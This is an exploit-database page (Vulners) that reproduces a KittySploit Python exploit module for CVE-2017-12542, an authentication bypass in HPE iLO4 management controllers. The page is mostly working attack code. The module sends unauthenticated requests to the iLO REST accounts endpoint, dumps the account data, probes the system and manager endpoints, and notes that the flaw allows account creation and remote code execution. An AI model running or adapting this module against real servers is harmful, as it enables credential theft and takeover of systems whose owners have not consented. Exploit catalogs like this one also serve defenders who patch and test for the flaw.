Lucene search
+L

HPE iLO4 Authentication Bypass (CVE-2017-12542)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Unauthenticated REST access to /rest/v1/AccountService/Accounts in HPE iLO4.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""HPE iLO4 authentication bypass (CVE-2017-12542)."""

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'HPE iLO4 Authentication Bypass (CVE-2017-12542)',
        'description': (
            'Exploits CVE-2017-12542 in HPE Integrated Lights-Out 4 before 2.53: '
            'unauthenticated REST access to /rest/v1/AccountService/Accounts and related APIs.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2017-12542'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2017-12542',
            'https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03769en_us',
        ],
        'tags': ['hpe', 'ilo', 'ilo4', 'auth-bypass', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access', 'privilege_escalation'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials', 'admin_surface'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2017_12542_detect'],
            },
        },
    }

    accounts_path = OptString(
        '/rest/v1/AccountService/Accounts',
        'iLO accounts REST endpoint',
        required=False,
        advanced=True,
    )

    def check(self):
        path = str(self.accounts_path or '/rest/v1/AccountService/Accounts').strip()
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return {'vulnerable': False, 'reason': 'Accounts API not accessible', 'confidence': 'medium'}
        body = r.text or ''
        if 'iLO User' in body or 'Members' in body:
            return {'vulnerable': True, 'reason': 'Unauthenticated iLO account enumeration', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Expected iLO account JSON missing', 'confidence': 'low'}

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        path = str(self.accounts_path or '/rest/v1/AccountService/Accounts').strip()
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        body = (r.text or '') if r else ''
        try:
            print_success(json.dumps(json.loads(body), indent=2)[:4000])
        except json.JSONDecodeError:
            print_success(body[:4000])
        for extra in (
            '/rest/v1/Systems/1',
            '/rest/v1/Managers/1',
        ):
            er = self.http_request(method='GET', path=extra, allow_redirects=False)
            if er and er.status_code == 200:
                print_status(f'{extra} — HTTP 200 ({len(er.text or "")} bytes)')
        print_warning('iLO auth bypass enables account creation / virtual media RCE on some builds')
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.4High risk
Vulners AI Score8.4
CVSS 310
CVSS 210
EPSS0.99294
3